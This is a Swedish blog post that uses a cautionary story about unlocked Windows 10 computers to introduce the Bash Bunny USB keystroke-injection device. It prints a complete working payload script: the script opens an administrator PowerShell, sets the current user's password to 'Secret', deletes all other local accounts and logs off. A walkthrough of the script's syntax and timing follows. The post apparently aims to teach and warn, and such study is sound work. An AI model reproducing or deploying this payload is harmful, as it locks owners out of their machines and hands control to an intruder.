En elak kanin
Den här gången ska jag berätta en varningens historia om vad som kan hända ifall man har för vana att lämna sin dator olåst, även fast det är en ”kort stund”.
Bash Bunny är i denna historia den trofasta underhuggaren till den tilltänkta antagonisten. Detta är en enhet som i stort sett ser ut som en vanlig USB minnes sticka, men är ack så mycket mer. Den kan imitera olika USB enheter, så som tangentbord, USB-ethernet adaptrar, USB-Serieport (RS-232) adaptrar och självfallet USB-minnen. Dessutom finns en fullständig ARM baserad Linux dator inbyggd i denna, som dynamiskt kan kontrollera alla dessa olika gränssnitt med hjälp av skript språk. Här ska vi se att enbart förmågan att kunna imitera tangentbord är tillräckligt för att orsaka stor föröda.
Kommer dessvärre inte ha möjlighet att fördjupa mig i Bash Bunny och hur den fungerar i denna blogg. Framförallt skulle det innebär att gå igenom redan skapade/kända attackskript, vilket inte är lika roligt som att göra egna. Istället kommer historian innefatta ett enkelt exempel, som likt väl illustrerar hur vissa delar av denna enhet fungerar när det gäller själva skripten. Förhoppningsvis kan jag återkomma till detta ämne i framtida bloggar, för att då bygga vidare på denna grundläggande kunskap om skriptens struktur, som precis som ofta är fallet egentligen bara är simpla textfiler.
Ponera följande scenario: En person lämnar ögonblickligen sin Windows 10 dator obevakad och olåst. Snabbt som bara den smyger sig någon fram och stoppar in vad som ser ut att vara en USB-sticka. Vad som följer är inte trevligt. För just i detta ögonblicket får din kära bundsförvant på värsta sättet ta del av följande kod:
#!/bin/bash
#
# Elak kanin
#Upplägg
DUCKY_LANG se
LED SETUP
GET SWITCH_POSITION
ATTACKMODE HID
#Attack
LED ATTACK
QUACK GUI r
QUACK DELAY 200
QUACK STRING powershell.exe
QUACK DELAY 200
QUACK CTRL-SHIFT ENTER
QUACK DELAY 300
QUACK TAB
QUACK DELAY 300
QUACK TAB
QUACK DELAY 300
QUACK ENTER
QUACK DELAY 500
QUACK STRING "\$Password = Read-Host -AsSecureString"
QUACK DELAY 500
QUACK ENTER
QUACK DELAY 500
QUACK STRING "Secret"
QUACK DELAY 200
QUACK ENTER
QUACK STRING "\$env:UserName | Set-LocalUser -Password \$Password"
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 100
QUACK STRING "\$sheeple = Get-LocalUser | ? {\$_.name -ne \$env:UserName}"
QUACK DELAY 200
QUACK ENTER
QUACK STRING "Remove-LocalUser -Name \$sheeple.name 2>\$null"
QUACK DELAY 200
QUACK ENTER
QUACK STRING logoff
QUACK ENTER
LED FINISH
Koden ovan kan delas in i olika faser:
- Upplägg: Eftersom Bash Bunny i grunden är en Linux-maskin, går det att skripta attackerna med Bash, därav Shebang i början. Därefter sätts språket på det härmade tangentbordet (till se-Svenskt). LED är ett nyckelord som förekommer utanför Bash, och är unikt för Bash Bunny. Nyckelord är alltid ord med enbart stora bokstäver. LED-SETUP gör att man kan kontrollera led-lampan som finns på Bash Bunny. Denna är användbar för att förmedla statusmeddelanden till användaren. ATTACKMODE är det mest centrala nyckelordet vid användandet av Bash Bunny. Det är här som man säger vilka enheter som ska imiteras. Framträdande alternativ är HID (tänk tangentbord i det här sammanhanget), STORAGE (monterar minnes-delen) och ECM_ETHERNET/RNDIS-ETHERNET (USB-ethernet adaptrar för olika operativsystem). Här använder jag enbart HID, tangentbords härmning. De mest kraftfulla attackerna använder en kombination av olika imiterade enheter.
- Attack: Bash Bunny använder samma syntax som Rubbery Ducky vid tangentbordsskript, en annan attack USB sticka som enbart är inriktad på tangentbords härmning. QUACK är nyckelordet som startar skriptförmågan gällande sändande av tangentbordstryck. QUACK utan något delkommando innebär att den specificerade tangenten skickas till maskinen, icke bokstavs/siffrer/tecken-tangenter skrivs med enbart stora bokstäver (exempelvis ALT, CTRL, ENTER). Två tangenter efter varandra motsvarar i detta fallet att dessa ska tryckas ner samtidigt. QUACK STRING innebär att den efterföljande texten ska skickas, en tangent i taget efter varandra. Det är så man skriver text med hjälp av Bash Bunny (notera \ innan somliga symboler som krävs för att ”escapa” dessa). Till sist innebär QUACK DELAY att man väntar angiven tid (i millisekunder) innan nästa kommando körs. Varför detta är användbart är bland annat därför att maskinen kan ta ett tag på sig att öppna upp exempelvis grafiska element utefter angivet kommando. Notera att Bash Bunny injicerar tangentbordslag snabbare än vad någon människan kan skriva, och att det därför kan bli märkliga situationer där den skriver fast rutan där den ska skriva i inte hunnit öppnats. DELAY värdena har här anpassats efter min föråldrade labbdator. Kom ihåg att Windows datorer i synnerhet kan ha massor av varierande bakgrund processer som gör att den plötsligt blir segare vid en viss tid punkt. Målet är att skriptet ska fungera konsekvent oavsett mindre tillfälliga fördröjningar. Samtidigt vill man inte att skriptet ska ta för lång tid. Det är här som experimentering och avvägande kommer in. Genom att ha kunskap om Windows grafiska användargränssnittet, snabbkommandon och powershell går det i princip att uppnå vad som helst här. Men vår antagonist vill bara se världen brinna.
På en olåst Windows 10 dator (med standard inställningar så som vid nyinstallation) kommer skriptet att öppna upp en administrationsinstans av Powershell, ändra lösenordet till ”Secret”, ta bort alla använder förutom den som är inloggad just nu, och till sist logga ut den nuvarande användaren. Resultatet blir i praktiken att ingen kan logga in på datorn eftersom alla användarkonton antingen är borttagna, eller har ett okänt lösenord. Vad mer, den enda som kan lösenordet är nu förövaren som skrev skriptet! Allt detta på mindre än 10 sekunder. Sannerligen en elak kanin!
Referenser:
https://wiki.bashbunny.com